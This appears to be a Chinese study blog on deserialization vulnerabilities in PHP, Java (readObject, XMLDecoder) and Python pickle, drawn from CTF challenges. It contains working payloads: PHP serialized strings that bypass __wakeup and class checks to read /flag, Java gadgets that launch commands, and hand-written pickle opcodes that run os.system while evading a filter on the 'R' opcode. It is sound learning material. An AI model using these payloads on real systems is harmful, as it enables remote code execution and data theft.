序列化与反序列化问题小结
# 序列化与反序列化问题小结
# 序列化和反序列化
序列化是指把对象转换成有序字节流,以便在网络上传输或者保存在本地文件中。
序列化后的字节流保存了对象的状态以及相关的描述信息。客户端从文件中或网络上获得序列化后的对象字节流后,根据字节流中所保存的对象状态及描述信息,通过反序列化重建对象。
本质上讲,序列化就是把实体对象状态按照一定的格式写入到有序字节流,反序列化就是从有序字节流重建对象,恢复对象状态。序列化机制的核心作用就是对象状态的保存与重建。
为什么需要序列化和反序列化?
比如你想要买一个衣柜,显然,受尺寸限制,衣柜不可能直接从工厂运到你家,他需要在工厂进行拆解成零件,也就是序列化,在运输过程中,以零件的形式运输到你的家中,在你的家中重新装配起来进行使用,这也就是反序列化。
# 设计序列化和反序列的一般思路
序列化主要产物是:键值对以及键之间的关系。描述清楚这些就能描述一个具体的对象。对象的方法不需要通过序列化传输,因为通信双方都已经做了实现。序列化一般也是通过固定的函数来实现在php中对应的就是serailize(),在java中是writeObject()...
反序列的目标是是重建对象,而传输的是字节流,为了重建对象需要对字节流进行解析,此时可以用一些固定的方法。在后文中我们可以看到,在php中对应的就是unserailize(),在java中是readObject()。这里方法往往带有“钩子函数”或者可以被重载,比如php中的__wakeup()和python pickle中的__reduce__()。方便开发者对类的序列化过程进行自定义。然而这些函数在方便开发者时,也给攻击者提供了切入点,通过一些设计缺陷,攻击者可以这些反序列函数中开展攻击。
一般来说,重建对象先是建立一个“空对象”,然后进行赋值,在赋值阶段就会用到一些对象的方法,比如在php中的魔术函数,在java中约定的get和set函数。对于攻击者来说,复杂的魔术函数带来的互相调用可以带来更多的攻击机会,这些攻击链可能是开发者完全没有想到的甚至难以避免的,通过构造复杂的反序列化链,攻击者可以实现一些原来很困难的攻击。
# 常见的序列化协议
- XML
- JSON
- YAML
# PHP
# PHP序列化协议
Example:
a:3:{i:0;s:6:"Google";i:1;s:5:"EkiXu";i:2;s:8:"Facebook";}
- O:Length of Object name :”Class Name”:Number of Properties in Class:{Properties} - O:4:"Test":5
- { data } - Denotes the data structure of the object with the 5 properties - $name, $age, $secret, $hobbies, $bug_hunter
- s:Length of the String:”String Value”; - s:4:"name";s:6:"Snoopy";
- d:Float; - s:3:"age";d:0.1;
- i:Integer; - s:6:"secret";i:0;
- a:Number of Elements:{Elements} - a:2:{i:0;s:10:"bughunting";i:1;s:16:"softwaresecurity";}
- b:boolean; - s:10:"bug_hunter";b:1;
2
3
4
5
6
7
# PHP序列化过程
PHP中的对象在序列化反序列化的每个阶段会调用一些魔术方法
__construct()//当一个对象创建时被调用
__destruct() //当一个对象销毁时被调用
__sleep()//在对象在被序列化之前运行
__wakeup()//将在反序列化之后立即被调用(通过序列化对象元素个数不符来绕过)
__clone()//当对象复制完成时调用
2
3
4
5
于此同时,在调用对象的属性和方法时也会触发一些魔术方法
__toString() //当一个对象被当作一个字符串使用
__get()//获得一个类的成员变量时调用
__set()//设置一个类的成员变量时调用
__invoke()//调用函数的方式调用一个对象时的回应方法
__call()//当调用一个对象中的不能用的方法的时候就会执行这个函数
__callStatic()//用静态方式中调用一个不可访问方法时调用
__isset()//当对不可访问属性调用isset()或empty()时调用
__unset()//当对不可访问属性调用unset()时被调用
__set_state()//调用var_export()导出类时,此静态方法会被调用。
2
3
4
5
6
7
8
9
__autoload()//尝试加载未定义的类
Phar文件利用
然而在最新的php8.0版本中Phar的元信息不在自动反序列化,phar协议触发反序列化的trick不复存在。
Session反序列化化
# POP
# 原生类
这里只介绍对反序列化有帮助的原生类,有些原生类是不能序列化和反序列化的(在内核中设置了zend_class_unserialize_deny)
- SoapClient
__call
方法SSRF
- ZipArchieve
利用open
函数实现任意文件删除
- Error
xss和一些绕过
# 反序列化引擎混用导致的漏洞
PHP关于处理session有三种反序列化引擎,分别为
php、php_serialize、php_binary
php_serialize ->与serialize函数序列化后的结果一致
php ->key|serialize后的结果
php_binary ->键名的长度对应的ascii字符+键名+serialize()函数序列化的值
2
3
# 一些绕过Trick
# wake_up绕过 CVE-2016-7124 (PHP before 5.6. 25 and 7. x before 7.0)
如果存在wakeup方法,调用 unserilize() 方法前则先调用wakeup方法,但是序列化字符串中表示对象属性个数的值大于 真实的属性个数时会跳过__wakeup的执行
# 16进制绕过
S:5:"\2f\66\6c\61\67" -> s:5:"/flag"
# 引用
# 反序列化引擎解析“缺陷”
这里以强网杯,WhereIsUWebShell
为例
下面是简化的代码
<?php
// index.php
ini_set('display_errors', 'on');
include "function.php";
$res = unserialize($_REQUEST['ctfer']);
if(preg_match('/myclass/i',serialize($res))){
throw new Exception("Error: Class 'myclass' not found ");
}
highlight_file(__FILE__);
echo "<br>";
highlight_file("myclass.php");
echo "<br>";
highlight_file("function.php");
2
3
4
5
6
7
8
9
10
11
12
13
14
用到的其他文件如下
<?php
// myclass.php
class Hello{
public function __destruct()
{
if($this->qwb) echo file_get_contents($this->qwb);
}
}
?>
2
3
4
5
6
7
8
9
<?php
// function.php
function __autoload($classname){
require_once "./$classname.php";
}
?>
2
3
4
5
6
在这个题目中,我们需要加载myclass.php
中的hello
类,但是要引入hello类,根据__autoload
我们需要一个classname
为myclass
的类,这个类并不存在,如果我们直接去反序列化,只会在反序列化myclass类的时候报错无法进入下一步,或者在反序列化Hello的时候找不到这个类而报错。
这里引入Fast destruct的概念,在著名的php反序列工具phpggc中提及了这一概念。具体来说,在PHP中有:
1、如果单独执行unserialize
函数进行常规的反序列化,那么被反序列化后的整个对象的生命周期就仅限于这个函数执行的生命周期,当这个函数执行完毕,这个类就没了,在有析构函数的情况下就会执行它。
2、如果反序列化函数序列化出来的对象被赋给了程序中的变量,那么被反序列化的对象其生命周期就会变长,由于它一直都存在于这个变量当中,当这个对象被销毁,才会执行其析构函数。
在这个题目中,反序列化得到的对象被赋给了$res
导致__destruct
在程序结尾才被执行,从而无法绕过perg_match
代码块中的报错,如果能够进行fast destruct
,那么就可以提前触发_destruct
,绕过反序列化报错。
- Broken Structure
比如
#修改序列化数字元素个数
a:2:{i:0;O:7:"myclass":1:{s:1:"a";O:5:"Hello":1:{s:3:"qwb";s:5:"/flag";}}}
2
#去掉序列化尾部}
a:1:{i:0;O:7:"myclass":1:{s:1:"a";O:5:"Hello":1:{s:3:"qwb";s:5:"/flag";}}
2
- PHP_INCOMPLETE_CLASS
还有一种方式是利用PHP_INCOMPLETE_CLASS,PHP在反序列化该类的时候不会反序列化其中的对象
a:2:{i:0;O:22:"__PHP_Incomplete_Class":1:{s:3:"qwb";O:7:"myclass":0:{}}i:1;O:5:"Hello":1:{s:3:"qwb";s:5:"/flag";}}
修改一下index.php和myclass.php以便更好地看清这一过程
<?php
// index.php
ini_set('display_errors', 'on');
include "function.php";
$res = unserialize($_REQUEST['ctfer']);
var_dump($res);
echo '<br>';
var_dump(serialize($res));
if(preg_match('/myclass/i',serialize($res))){
echo "???";
throw new Exception("Error: Class 'myclass' not found ");
}
highlight_file(__FILE__);
echo "<br>";
highlight_file("myclass.php");
echo "<br>";
highlight_file("function.php");
echo "End";
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
// myclass.php
//class myclass{}
class Hello{
public function __destruct()
{
echo "I'm destructed.<br/>";
var_export($this->qwb);
if($this->qwb) echo file_get_contents($this->qwb);
}
}
?>
2
3
4
5
6
7
8
9
10
11
12
可以看到在反序列化之后,myclass作为了__PHP_Incomplete_Class
,在对他进行二次序列化时,该对象会消失,从而绕过preg_match
的检测,并在最后触发Hello
类的反序列化。
有如下exp
O:5:"Error":2:{S:4:"\66\6c\61\67";S:4:"\66\6c\61\67";S:3:"aaa";R:2;}
# 例题2
<?php
highlight_file(__FILE__);
include 'flag.php';
$obj = $_GET['obj'];
if (preg_match('/flag/i', $obj)) {
die("?");
}
$obj = @unserialize($obj);
if ($obj->flag === 'flag') {
$obj->flag = $flag;
}
foreach ($obj as $k => $v) {
if ($k !== "flag") {
echo $v;
}
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
preg_match直接用16进制绕过即可,第二处用引用绕过即可,关键在于__PHP_Incomplete_Class
的问题,如果传入的是一个不存在的类,那么obj
会变成 object(__PHP_Incomplete_Class)#1
,$obj->flag
是取不到值的。所以这里我们需要设置类名为存在的原生类也就是Error,Exception
等,值得注意的是,诸如SplFileObject
这种没法序列化的类也是不能使用的
# Java
Java通过implements Serializable实现对象的序列化(obj.writeObject()
)和反序列化
(obj.readObject()
)
与PHP不同的是,Java并不提供一些魔术方法供序列化和反序列化的时候调用,当然你可以重写readObject和wirteObject(),比如下面的代码,通过重写ReadObject实现了RCE
package priv.eki;
import java.io.*;
public class main {
public static void main(String args[]) throws Exception{
//定义myObj对象
TestObject myObj = new TestObject();
myObj.name = "jack";
//创建一个包含对象进行反序列化信息的”object”数据文件
FileOutputStream fos = new FileOutputStream("object");
ObjectOutputStream os = new ObjectOutputStream(fos);
//writeObject()方法将myObj对象写入object文件
os.writeObject(myObj);
os.close();
//从文件中反序列化obj对象
FileInputStream fis = new FileInputStream("object");
ObjectInputStream ois = new ObjectInputStream(fis);
//恢复对象
TestObject objectFromDisk = (TestObject)ois.readObject();
System.out.println(objectFromDisk.name);
ois.close();
}
}
class TestObject implements Serializable {
public String name;
//重写readObject()方法
private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException{
//执行默认的readObject()方法
in.defaultReadObject();
//执行打开计算器程序命令
Runtime.getRuntime().exec("calc.exe");
}
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
序列化得到的数据为
Offset 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
00000000 AC ED 00 05 73 72 00 13 70 72 69 76 2E 65 6B 69 sr priv.eki
00000016 2E 54 65 73 74 4F 62 6A 65 63 74 42 24 96 D4 C1 .TestObjectB$栐?
00000032 9F E5 51 02 00 01 4C 00 04 6E 61 6D 65 74 00 12 熷Q L namet
00000048 4C 6A 61 76 61 2F 6C 61 6E 67 2F 53 74 72 69 6E Ljava/lang/Strin
00000064 67 3B 78 70 74 00 02 68 69 g;xpt hi
2
3
4
5
6
7
其中标识其为序列化的特征就是开头的ac ed 00 05
如果程序将其base64那么特征为rO0AB
当然在生产环境中,不会在readObject里塞入一个exec后门,然而有一些类在设计的时候,意外的给攻击者留下了一些攻击路径,也就造成了Java反序列化的安全隐患。
# 例题
EasySpringMVC
import com.tools.ClientInfo;
import com.tools.Tools;
import java.util.Base64;
public class Exp {
public static void main(String[] args) throws Exception {
Base64.Encoder encoder= Base64.getEncoder();
ClientInfo clientInfo = new ClientInfo("admin","webmanager","1");
byte[] bytes = Tools.create(clientInfo);
System.out.println(encoder.encodeToString(bytes));
}
}
2
3
4
5
6
7
8
9
10
11
12
13
这里要注意com.tools
的前缀和类名都是不可变更的,否则会影响序列化数据
简单总结一下:
- 从流量中发现序列化的痕迹 关键字:ac ed 00 05,rO0AB
- Java RMI 的传输 100% 基于反序列化,Java RMI 的默认端口是1099端口
- 从源码入手,被序列化的类一定实现了Serializable接口
- 观察反序列化时的readObject()方法是否重写,重写中是否有设计不合理,可以被利用之处
# Jackson
# Fastjson
AutoType
# XMLDecoder
public class XmlDeserialize {
public static void main(String[] args) throws IOException, InterruptedException {
HashMap<Object, Object> map = new HashMap<>();
map.put("Key1","aaaa");
map.put("Key2",new ArrayList<>());
XMLEncoder xmlEncoder = new XMLEncoder(System.out);
xmlEncoder.writeObject(map);
xmlEncoder.close();
}
}
2
3
4
5
6
7
8
9
10
11
12
13
输出如下
<?xml version="1.0" encoding="UTF-8"?>
<java version="1.8.0_251" class="java.beans.XMLDecoder">
<object class="java.util.HashMap">
<void method="put">
<string>Key2</string>
<object class="java.util.ArrayList"/>
</void>
<void method="put">
<string>Key1</string>
<string>aaaa</string>
</void>
</object>
</java>
2
3
4
5
6
7
8
9
10
11
12
13
可以发现xml和代码是一一对应的,上面这段xml事实上对应这
HashMap<Object, Object> map = new HashMap<>();
map.put("Key1","aaaa");
map.put("Key2",new ArrayList<>());
2
3
根据这个,我们可以将代码转成XML的形式
比如
new java.lang.ProcessBuilder(new String[]{"calc"}).start();
可以转换为
<java version="1.8.0_251" class="java.beans.XMLDecoder">
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="1">
<void index="0"><string>calc</string></void>
</array>
<void method="start"></void>
</object>
</java>
2
3
4
5
6
7
8
示例代码
package priv.eki;
import java.beans.XMLDecoder;
import java.beans.XMLEncoder;
import java.io.IOException;
import java.io.ByteArrayInputStream;
import java.nio.charset.StandardCharsets;
import java.util.ArrayList;
import java.util.HashMap;
public class XmlDeserialize {
public static void main(String[] args) throws IOException, InterruptedException {
HashMap<Object, Object> map = new HashMap<>();
map.put("Key1","aaaa");
map.put("Key2",new ArrayList<>());
XMLEncoder xmlEncoder = new XMLEncoder(System.out);
xmlEncoder.writeObject(map);
xmlEncoder.close();
String raw = "<java version=\"1.8.0_251\" class=\"java.beans.XMLDecoder\">\n" +
" <object class=\"java.lang.ProcessBuilder\">\n" +
" <array class=\"java.lang.String\" length=\"1\">\n" +
" <void index=\"0\"><string>calc</string></void>\n" +
" </array>\n" +
" <void method=\"start\"></void>\n" +
" </object>\n" +
"</java>";
ByteArrayInputStream stringBufferInputStream = new ByteArrayInputStream(raw.getBytes(StandardCharsets.UTF_8));
XMLDecoder xmlDecoder = new XMLDecoder(stringBufferInputStream);
Object o = xmlDecoder.readObject();
System.out.println(o);
}
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
# SnakeYaml
# Shiro反序列化
# Python
# Pickel
Python中提供了Pickel库用来序列化和反序列化数据,同时通过pickeltools我们很方便地对Pickel序列化的数据进行调试
class Student():
def __init__(self) -> None:
self.name = 'Eki'
self.grade = "2019"
def __repr__(self) -> str:
return f'Type:{type(self)} name:{self.name} grade:{self.grade}'
import pickle
import pickletools
raw = pickle.dumps(Student(),protocol=3)
raw = pickletools.optimize(raw)
print(raw)
'''
\x80\x03c__main__\nStudent\n)\x81}(X\x04\x00\x00\x00nameX\x03\x00\x00\x00EkiX\x05\x00\x00\x00gradeX\x04\x00\x00\x002019ub.
'''
pickletools.dis(raw)
'''
0: \x80 PROTO 3
2: c GLOBAL '__main__ Student'
20: ) EMPTY_TUPLE
21: \x81 NEWOBJ
22: } EMPTY_DICT
23: ( MARK
24: X BINUNICODE 'name'
33: X BINUNICODE 'Eki'
41: X BINUNICODE 'grade'
51: X BINUNICODE '2019'
60: u SETITEMS (MARK at 23)
61: b BUILD
62: . STOP
highest protocol among opcodes = 2
'''
res = pickle.loads(raw)
print(res)
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
为了实现自定义反序列化,pickle还提供了一个钩子函数__reduce__
, __reduce__
被定义之后,当对象被Pickle时就会被调用。它要么返回一个代表全局名称的字符串,Pyhton会查找它并pickle,要么返回一个元组。这个元组包含2到5个元素,其中包括:一个可调用的对象,用于重建对象时调用;一个参数元素,供那个可调用对象使用;被传递给 __setstate__
的状态(可选);一个产生被pickle
的列表元素的迭代器(可选);一个产生被pickle
的字典元素的迭代器(可选)
class Evil():
def __init__(self) -> None:
self.whatever = "whatever"
def __reduce__(self) -> Union[str, Tuple[Any, ...]]:
return os.system,(cmd,)
'''
b'\x80\x03cposix\nsystem\nX\x02\x00\x00\x00id\x85R.'
0: \x80 PROTO 3
2: c GLOBAL 'posix system'
16: X BINUNICODE 'id'
23: \x85 TUPLE1
24: R REDUCE
25: . STOP
'''
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
可以看到我们重载__reduce__
序列化数据完全改变了,甚至与Evil这个类没啥关系。其中OpcodeR
的作用与object.__reduce__()
关系密切:选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数。其实R
正好对应object.__reduce__()
函数, object.__reduce__()
的返回值会作为R
的作用对象,当包含该函数的对象被pickle序列化时,得到的字符串是包含了R
的。
也就是说在这里我们相当于执行了posix system
,参数为(id)
总结一下我们可以发现
c<module>
<callable>
(<args>
tR
2
3
4
我们再看一个例子
cos
system
(S'ls'
tR.
<=> __import__('os').system(*('ls',))
# 分解一下:
cos
system => 引入 system,并将函数添加到 stack
(S'ls' => 把当前 stack 存到 metastack,清空 stack,再将 'ls' 压入 stack
t => stack 中的值弹出并转为 tuple,把 metastack 还原到 stack,再将 tuple 压入 stack
# 简单来说,(,t 之间的内容形成了一个 tuple,stack 目前是 [<built-in function system>, ('ls',)]
R => system(*('ls',))
. => 结束,返回当前栈顶元素
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
从上面的这个示例中我们可以总结如下:
1.pickle实际上可以看作一种独立的语言,通过对opcode的更改编写可以执行python代码、覆盖变量等操作。直接编写的opcode灵活性比使用pickle序列化生成的代码更高,有的代码不能通过pickle序列化得到(pickle解析能力大于pickle生成能力)。常用的op表如下所示
opcode | 描述 | 具体写法 | 栈上的变化 | memo上的变化 |
---|---|---|---|---|
c | 获取一个全局对象或import一个模块(注:会调用import语句,能够引入新的包) | c[module]\n[instance]\n | 获得的对象入栈 | 无 |
o | 寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象) | o | 这个过程中涉及到的数据都出栈,函数的返回值(或生成的对象)入栈 | 无 |
i | 相当于c和o的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象) | i[module]\n[callable]\n | 这个过程中涉及到的数据都出栈,函数返回值(或生成的对象)入栈 | 无 |
N | 实例化一个None | N | 获得的对象入栈 | 无 |
S | 实例化一个字符串对象 | S'xxx'\n(也可以使用双引号、'等python字符串形式) | 获得的对象入栈 | 无 |
V | 实例化一个UNICODE字符串对象 | Vxxx\n | 获得的对象入栈 | 无 |
I | 实例化一个int对象 | Ixxx\n | 获得的对象入栈 | 无 |
F | 实例化一个float对象 | Fx.x\n | 获得的对象入栈 | 无 |
R | 选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数 | R | 函数和参数出栈,函数的返回值入栈 | 无 |
. | 程序结束,栈顶的一个元素作为pickle.loads()的返回值 | . | 无 | 无 |
( | 向栈中压入一个MARK标记 | ( | MARK标记入栈 | 无 |
t | 寻找栈中的上一个MARK,并组合之间的数据为元组 | t | MARK标记以及被组合的数据出栈,获得的对象入栈 | 无 |
) | 向栈中直接压入一个空元组 | ) | 空元组入栈 | 无 |
l | 寻找栈中的上一个MARK,并组合之间的数据为列表 | l | MARK标记以及被组合的数据出栈,获得的对象入栈 | 无 |
] | 向栈中直接压入一个空列表 | ] | 空列表入栈 | 无 |
d | 寻找栈中的上一个MARK,并组合之间的数据为字典(数据必须有偶数个,即呈key-value对) | d | MARK标记以及被组合的数据出栈,获得的对象入栈 | 无 |
} | 向栈中直接压入一个空字典 | } | 空字典入栈 | 无 |
p | 将栈顶对象储存至memo_n | pn\n | 无 | 对象被储存 |
g | 将memo_n的对象压栈 | gn\n | 对象被压栈 | 无 |
0 | 丢弃栈顶对象 | 0 | 栈顶对象被丢弃 | 无 |
b | 使用栈中的第一个元素(储存多个属性名: 属性值的字典)对第二个元素(对象实例)进行属性设置 | b | 栈上第一个元素出栈 | 无 |
s | 将栈的第一个和第二个对象作为key-value对,添加或更新到栈的第三个对象(必须为列表或字典,列表以数字作为key)中 | s | 第一、二个元素出栈,第三个元素(列表或字典)添加新值或被更新 | 无 |
u | 寻找栈中的上一个MARK,组合之间的数据(数据必须有偶数个,即呈key-value对)并全部添加或更新到该MARK之前的一个元素(必须为字典)中 | u | MARK标记以及被组合的数据出栈,字典被更新 | 无 |
a | 将栈的第一个元素append到第二个元素(列表)中 | a | 栈顶元素出栈,第二个元素(列表)被更新 | 无 |
e | 寻找栈中的上一个MARK,组合之间的数据并extends到该MARK之前的一个元素(必须为列表)中 | e | MARK标记以及被组合的数据出栈,列表被更新 | 无 |
2.即使代码中没有import os,GLOBAL指令也可以自动导入posix system
,实现命令执行
再来看一个经典的例子,通过Pickle反序列化覆盖全局变量
我们很容易想到与前文类似的方法通过exec命令执行的方式覆盖
import pickle
key = b'eki'
class A(object):
def __reduce__(self):
return (exec,("key=b'jacey'",))
a = A()
pickle_a = pickle.dumps(a)
print(pickle_a)
pickle.loads(pickle_a)
print(key)
2
3
4
5
6
7
8
9
10
11
12
但是如果题目直接禁止了Reduce的使用,比如过滤R
import pickle
import base64
import pickletools
class Student():
def __init__(self,name:str,garade:str) -> None:
self.name = name
self.grade = garade
def __eq__(self, o: object) -> bool:
return type(o) is Student and \
self.name == o.name and \
self.grade == o.grade
import secret
'''
name = "Jacey"
grade = "2019"
'''
def check(data:bytes)->str:
if b'R' in data:
return 'no reduce!'
x = pickle.loads(data)
print(secret.name,secret.grade)
if(x != Student(secret.name,secret.grade)):
return 'Not equal'
return 'well done!'
payload =b"""\x80\x03
c
__main__\n
secret\n
}
(
Vname\n
Veki\n
Vgrade\n
V2019\n
u
b
0
c
__main__\n
Student\n
)
\x81
}
(
Vname\n
Veki\n
Vgrade\n
V2019\n
u
b
.
""".replace(b"\n\n",b"^^").replace(b"\n",b"").replace(b"^^",b"\n")
pickletools.dis(payload)
print(check(payload))
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
这种情况下,通过c__main__.secret
引入这一个module
,把一个dict压进栈,内容是{'name': 'rua', 'grade': 'www'},执行BUILD指令,会导致改写__main__.secret.name
和__main__.secret.grade
,至此secret.name
和secret.grade
已经被篡改成我们想要的内容
更进一步的,如果R
被过滤了,还能实现命令执行吗
class _Unpickler:
def load_build(self):
stack = self.stack
state = stack.pop()
inst = stack[-1]
setstate = getattr(inst, "__setstate__", None)#此处获取inst的__setstate__函数,如果存在,那么下面调用该函数
if setstate is not None:
setstate(state)
return
slotstate = None
if isinstance(state, tuple) and len(state) == 2:
state, slotstate = state
if state:
inst_dict = inst.__dict__
intern = sys.intern
for k, v in state.items():
if type(k) is str:
inst_dict[intern(k)] = v
else:
inst_dict[k] = v
if slotstate:
for k, v in slotstate.items():
setattr(inst, k, v)
dispatch[BUILD[0]] = load_build
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
那么有
import pickle
import pickletools
class Student():
def __init__(self) -> None:
self.name = 'Eki'
self.grade = "2019"
def __repr__(self) -> str:
return f'Type:{type(self)} name:{self.name} grade:{self.grade}'
payload = b"""\x80\x03
c
__main__\n
Student\n
)
\x81
}
(
V__setstate__\n
c
os\n
system\n
u
b
Vls /\n
b.""".replace(b"\n\n",b"^^").replace(b"\n",b"").replace(b"^^",b"\n")
pickletools.dis(payload)
res = pickle.loads(payload)
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
通过设置inst
的__setstate__
我们也可以进行RCE
# 函数执行
与函数执行相关的opcode有三个: R
、 i
、 o
,所以我们可以从三个方向进行构造:
R
:
b'''cos
system
(S'whoami'
tR.'''
2
3
4
i
:
b'''(S'whoami'
ios
system
.'''
2
3
4
o
:
b'''(cos
system
S'whoami'
o.'''
2
3
4
# 第二个版本中新建对象指令造成的任意代码执行
来自第六届蓝帽杯初赛题解
第二个版本协议中\x81
的操作字符可以新建对象
这个操作字符的具体操作是把虚拟栈上的两个值取出来后调用__new__
的函数调用,所以我们的目标就可以转换为找到python原生类中可以利用的即可
经过测试后,我选择的是map为开始,关于map的__new__
方法我们可以通过python的源码进行查看
可以看到__new__
方法干了两件事情,第一件事情是把下标从1开始的参数通过存放到tuple中,第二件事是把下标为0的参数放到mapobject结构体中的func里面,这里也就是赋值的函数
如果触发迭代操作的话,就会触发mapobject中的func,参数就是iters里面的值
所以下个目标就是找到某原生类的__new__
方法可以触发迭代操作,这里我选择的是bytes,具体代码流程如下
这个地方的函数就是我们map里面的map_next函数
通过构造如下可以直接代码执行bytes.__new__(bytes,map.__new__(map,eval,['print(11111)']))
好了现在就可以手写pickle然后把这两个类塞进去即可
from pickle import _loads
b= b'''c__builtin__
map
p0
0(]S'print(1111)'
ap1
0](c__builtin__
exec
g1
ep2
0g0
g2
\x81p3
0c__builtin__
bytes
p4
g3
\x81
.'''
_loads(b)
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# 调试opcode的一些工具
除了自己手写Pickle的Opcode以外,我们也可以利用一些工具进行辅助,比如
- Sndav师傅开发的PickleHelper https://github.com/Sndav/PickleHelper
- eddieivan01 师傅开发的pker https://github.com/eddieivan01/pker
R | [callable] [tuple] R | 调用一个callable对象 | crandom\nRandom\n)R |
---|---|---|---|
o | MARK [callable] [args...] o | 同INST,参数获取方式由readline变为stack.pop而已 | (cos\nsystem\nS'ls'\no |
t | MARK [obj...] t | 将栈顶MARK以前的元素弹出构造tuple,再push回栈顶 | (I0\nI1\nt |
# 例题
# 巅峰极客2021 线上赛 opcode
from flask import Flask
from flask import request
from flask import render_template
from flask import session
import base64
import pickle
import io
import builtins
class Student():
def __init__(self) -> None:
self.name = 'Eki'
self.grade = "2019"
def __repr__(self) -> str:
return f'Type:{type(self)} name:{self.name} grade:{self.grade}'
class RestrictedUnpickler(pickle.Unpickler):
blacklist = {'eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit', 'map'}
def find_class(self, module, name):
if module == "builtins" and name not in self.blacklist:
return getattr(builtins, name)
raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))
def loads(data):
return RestrictedUnpickler(io.BytesIO(data)).load()
app = Flask(__name__)
app.config['SECRET_KEY'] = "y0u-wi11_neuer_kn0vv-!@#se%32"
@app.route('/admin', methods = ["POST","GET"])
def admin():
if('{}'.format(session['username'])!= 'admin' and str(session['username'] , encoding = "utf-8")!= 'admin'):
return "not admin"
try:
data = base64.b64decode(session['data'])
if "R" in data.decode():
return "nonono"
loads(data)
except Exception as e:
print(e)
return "success"
@app.route('/login', methods = ["GET","POST"])
def login():
username = request.form.get('username')
password = request.form.get('password')
imagePath = request.form.get('imagePath')
session['username'] = username + password
session['data'] = base64.b64encode(pickle.dumps('hello' + username, protocol=0))
try:
f = open(imagePath,'rb').read()
except Exception as e:
f = open('static/image/error.png','rb').read()
imageBase64 = base64.b64encode(f)
return render_template("login.html", username = username, password = password, data = bytes.decode(imageBase64))
@app.route('/', methods = ["GET","POST"])
def index():
return render_template("index.html")
if __name__ == '__main__':
app.run(host='0.0.0.0', port='8888')
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
值得一提的是除了pickle.load
,python
其他模块也能触发pickle
反序列化漏洞。
例如:numpy.load()
会先尝试以numpy自己的数据格式导入;如果失败,则尝试以pickle
的格式导入,触发pickle
反序列化
# PYAML
https://github.com/bit4woo/code2sec.com/blob/master/Python%20PyYAML%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%AE%9E%E9%AA%8C%E5%92%8Cpayload%E6%9E%84%E9%80%A0.md
# 参考资料
序列化与反序列化
https://tech.meituan.com/2015/02/26/serialization-vs-deserialization.html
从qwb webshell 题深入快速析构:
https://mp.weixin.qq.com/s?__biz=MzIzMTQ4NzE2Ng==&mid=2247487933&idx=1&sn=e57bc3583c1b80f1aa7bd08409cfb82d
fastjson 始末 https://juejin.cn/post/6846687594130964488
PyYAML https://xz.aliyun.com/t/7923
深入理解 JAVA 反序列化漏洞 https://paper.seebug.org/312/#8-java
从零开始python反序列化攻击:pickle原理解析 & 不用reduce的RCE姿势 https://zhuanlan.zhihu.com/p/89132768
pickle反序列化初探 https://xz.aliyun.com/t/7436
Java 反序列化漏洞始末(5)— XML/YAML
https://b1ue.cn/archives/239.html
2021 巅峰极客 Web Writeup
https://mp.weixin.qq.com/s?__biz=MjM5Njc1OTYyNA==&mid=2450778016&idx=1&sn=c30cca2a073de859e8488f28633dba4f